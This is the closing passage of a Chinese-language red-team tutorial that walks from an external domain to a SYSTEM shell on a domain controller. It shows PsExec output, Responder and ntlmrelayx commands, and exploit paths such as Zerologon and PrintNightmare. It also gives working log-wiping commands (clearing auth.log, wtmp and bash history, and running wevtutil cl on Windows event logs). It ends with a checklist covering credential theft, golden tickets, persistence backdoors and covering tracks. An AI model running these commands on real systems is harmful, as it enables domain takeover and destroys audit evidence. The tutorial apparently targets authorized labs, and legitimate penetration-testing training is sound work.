[*] Requesting shares on 10.0.1.30...
[*] Found writable share ADMIN$
[*] Uploading file uXuRLCbo.exe
[*] Opening SVCManager on 10.0.1.30...
[*] Creating service bYVP on 10.0.1.30...
[*] Starting service bYVP...
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1577]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> hostname
DC
C:\Windows\system32> whoami
nt authority\system
你在域控制器上以 SYSTEM 权限运行。 这是整个游戏中最高的权限级别。现在你可以执行任何操作——添加域管理员、安装后门、导出整个 NTDS.dit 数据库、修改组策略、查看邮件、甚至摧毁整个域。
步骤 4.10:备用攻击路径——如果 Kerberoasting 和 DCSync 都失败了
真实场景中,不是每次都能顺利地走到这一步。以下是备用的攻击路径:
路径 A:利用 LLMNR / NBT-NS 投毒
如果内网启用了 LLMNR(链路本地多播名称解析),你可以投毒这些名称解析请求来截获 Net-NTLM 哈希。
# 在文件服务器上运行 Responder
python3 Responder.py -I eth0 -wrfP当域用户错误地解析一个不存在的文件共享名时,它们的机器会尝试通过 LLMNR 查找,Responder 将虚假响应并捕获该用户的 Net-NTLMv2 哈希。
路径 B:NTLM 中继攻击
如果你能捕获 Net-NTLM 哈希,但无法破解,可以中继到域控去执行操作。
# 启动 ntlmrelayx 将捕获的认证中继到域控
ntlmrelayx.py -t ldaps://10.0.1.30 --delegate-access路径 C:打印机漏洞(PrintNightmare CVE-2021-34527)
如果域控上存在 Print Spooler 服务的 RCE 漏洞,可以直接获得 SYSTEM 权限。
路径 D:Zerologon(CVE-2020-1472)
如果域控制器运行的是未打补丁的 Windows Server 2019,可以利用 Zerologon 漏洞将域控的计算机账户密码重置为空值,然后直接拿到域控的控制权。
路径 E:AD CS 证书服务攻击(ESC1-ESC8)
如果域中存在 AD CS(Active Directory Certificate Services),可以利用证书模板的错误配置来申请提升权限的证书。
步骤 5.2:日志清理
5.2.1 Linux 日志清理
# 清理登录记录
echo "" > /var/log/auth.log
echo "" > /var/log/auth.log.1
echo "" > /var/log/secure
echo "" > /var/log/wtmp
echo "" > /var/log/btmp # 失败的登录尝试
echo "" > /var/log/lastlog # 最后登录信息
# 清理历史命令
rm -rf /root/.bash_history
rm -rf /home/*/.bash_history
history -c
# 清理 MySQL 日志
echo "" > /var/log/mysql/error.log
echo "" > /var/log/mysql/mysql.log
# 删除上传的工具和脚本
rm -rf /tmp/linpeas.sh /tmp/linpeas_report.txt /tmp/payload.so /tmp/pwnkit.c
rm -rf /tmp/*.py /tmp/*.zip5.2.2 Windows 日志清理
# 在域控的 SYSTEM shell 中(通过 wmiexec)
# 清理安全日志(最难,通常需要 SYSTEM 权限)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Windows PowerShell"
# 删除 RDP 连接缓存
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
# 清理 Prefetch(程序运行痕迹)
del C:\Windows\Prefetch\*.pf /q /f总结:完整的攻击链回顾
回到故事的开端——你只有域名 acmecorp.com。几个小时后,你站在域控制器的 SYSTEM 命令提示符前。这是完整的攻击链:
攻 击 链 全 景 图
Phase 1: 外网侦察
WHOIS + DNS + 证书透明度 + Shodan + Subfinder + Amass
→ 发现 22 个子域名,画出外网拓扑
↓
Phase 2: 发现漏洞
WhatWeb + Gobuster + Nikto + WPScan + searchsploit
→ 发现 wp-file-manager RCE, SQLi, 备份文件, phpinfo
↓
Phase 3: 初始突破
wp-config.bak 下载 → 数据库凭据
SQL 注入 → WordPress 用户哈希
Hashcat 破解 → admin / Summer2021!
WordPress 后台 → 主题编辑器 → PHP WebShell
→ 拿到 www-data shell
↓
Phase 4: 权限提升
LinPEAS → /etc/passwd 可写 → openssl 生成 hash
→ 添加 UID=0 用户 → root
↓
Phase 5: 内网侦察
ARP + 存活探测 + 端口扫描
→ 10.0.1.20 文件服务器, 10.0.1.30 域控, 10.0.1.50 数据库
↓
Phase 6: 凭据收集
.bash_history → 更多密码
文件服务器备份 → Excel 密码表
数据库连接 → 更多凭据
SYSVOL → GPP 密码
↓
Phase 7: 横向移动
SSH 密钥复用 → 文件服务器 root
MySQL 连接 → 数据库服务器信息
↓
Phase 8: 域渗透
BloodHound 分析 → 攻击路径
Kerberoasting → TGS 哈希
AS-REP Roasting → scan_svc
CrackMapExec 密码喷射 → Administrator:Summer2021! = Domain Admin
DCSync → 所有用户 NTLM 哈希 + KRBTGT
↓
Phase 9: 域控沦陷
Pass-the-Hash → wmiexec → DC SYSTEM shell
黄金票据 → 永久 Domain Admin 访问
↓
Phase 10: 清理
日志清除 + SSH 后门 + 域隐藏账户 + WMI 持久化
红队全链路攻击检查清单(Checklist)
打印这份清单,在你攻下每一环时打勾。
侦察阶段
- WHOIS 查询目标域名
- DNS 记录枚举(A, MX, TXT, NS, SOA, CNAME)
- 证书透明度日志查询(crt.sh)
- Google Dorking(site:, inurl:, filetype:, intitle:)
- Shodan 搜索(org, hostname, ssl)
- TheHarvester 收集邮箱和子域名
- 子域名枚举(subfinder + amass)
- 子域名解析与存活验证
- 全端口扫描(rustscan + nmap)
- 服务版本检测(nmap -sV)
- 默认脚本扫描(nmap -sC)
Web 应用侦察
- WhatWeb 指纹识别(所有 Web 端口)
- 目录爆破(gobuster / feroxbuster)
- Nikto 漏洞扫描
- WordPress 专项扫描(wpscan)
- 备份文件探测(.bak, .old, .zip, .sql)
- Git 目录暴露探测(/.git/HEAD)
- 敏感文件检查(.env, phpinfo, robots.txt)
- 搜索已知漏洞(searchsploit / CVE 查询)
初始访问
- SQL 注入利用(sqlmap / 手工注入)
- 密码破解(hashcat / john)
- 默认凭据测试(admin/admin, root/root 等)
- CMS 后台登录尝试
- WebShell 上传(主题编辑器 / 文件上传 / 漏洞利用)
- 反向 Shell 建立(nc, python, php, ruby, perl)
- Shell 稳定性升级(python pty + stty raw)
- 上传提权辅助工具(LinPEAS / WinPEAS)
Linux 提权
- 当前身份检查(id, groups, sudo -l)
- SUID 二进制文件枚举(find / -perm -4000)
- 可写 /etc/passwd 检查
- 内核版本与 Exploit 对照
- Cron 任务检查
- Capabilities 检查(getcap)
- Docker 组检查
- LinPEAS 一键扫描
- 执行提权利用
- 获取 root 权限
Windows 提权
- 用户与权限检查(whoami /all)
- 系统补丁检查(systeminfo / wmic qfe)
- 服务权限检查(icacls)
- 计划任务检查(schtasks)
- 自动登录检查(注册表 Winlogon)
- AlwaysInstallElevated 检查
- Unattended 文件探测
- 凭据管理器检查(cmdkey /list)
- WinPEAS 一键扫描
内网信息收集
- 网络配置(ip a, ip route, ARP 表)
- 存活主机探测
- 端口扫描(内网每台主机)
- DNS 服务器识别
- 域信息探测(域名、域控 IP)
- 主机名与 IP 映射
- SMB 共享枚举
- NFS 共享枚举
- 内网拓扑图绘制
凭据收集
- /etc/shadow 提取
- SSH 私钥收集(id_rsa, id_ed25519, *.pem)
- Authorized Keys 发现
- Shell 历史命令搜索(.bash_history, .mysql_history)
- 配置文件密码搜索(grep -r “password” /var/www/)
- 数据库凭据提取
- .env 文件读取
- 备份文件扫描(.sql, .xlsx, .bak)
- 浏览器保存的密码(如果有本地 GUI 访问)
- 进程列表(ps aux,检查运行中服务的参数)
横向移动
- SMB 凭据测试(smbclient / crackmapexec)
- SSH 密钥复用测试
- 密码重用测试(密码喷射)
- RDP 连接尝试(xfreerdp)
- WinRM 连接尝试(evil-winrm)
- WMI 远程执行(wmiexec)
- PsExec 远程执行
- NFS 挂载与利用
- 从一台机器连接到下一台
- 重复信息收集循环
域渗透
- 域信息收集(BloodHound)
- 域用户列表获取(ldapsearch / crackmapexec)
- 服务账户与 SPN 枚举
- Kerberoasting(GetUserSPNs)
- AS-REP Roasting(GetNPUsers)
- BloodHound 攻击路径分析
- GPP 密码检查(SYSVOL \ Groups.xml)
- 委派关系分析(有约束/无约束委派)
- AD CS 证书服务检查
- LLMNR/NBT-NS 投毒(Responder)
- NTLM 中继测试
- DCSync 执行(secretsdump)
- Pass-the-Hash 测试
- KRBTGT 哈希提取
- 黄金票据生成(ticketer)
- 域控制器 SYSTEM shell 获取
持久化
- SSH 公钥后门(攻陷的 Linux 机器)
- 域隐藏管理员账户
- 计划任务后门(Linux: cron / Windows: schtasks)
- WMI 事件订阅后门(Windows)
- 服务后门(systemctl / sc)
- SSH 反向隧道(autossh / ssh -R)
日志清理
- Linux 日志清理(auth.log, wtmp, btmp, lastlog)
- Windows 日志清理(wevtutil cl)
- 历史命令清理(.bash_history, history -c)
- 临时文件清理(/tmp, C:\Windows\Temp)
- 上传工具清理
- RDP 连接历史清理
终局心法:这份教程带你走完了从外网到域控的完整路径。但真正的红队工作远不止于此——每次渗透都是独特的,目标的防御深度不同,攻击链也会不同。前面的 11 个模块每个都深入了一个领域;你的屠龙刀不是某一条攻击链,而是你在这条链上每走一步都会自发地问”接下来还有什么可能性”的能力。
现在,去 Hack The Box、TryHackMe、Proving Grounds 打靶场。然后,回来重新看这个攻防链——你会看到你第一次没有看到的东西。
本教程编辑日期:2026-06-18
本教程中的所有技术仅供在合法授权的靶场环境和渗透测试中学习使用。在未授权系统上使用这些技术属于违法行为。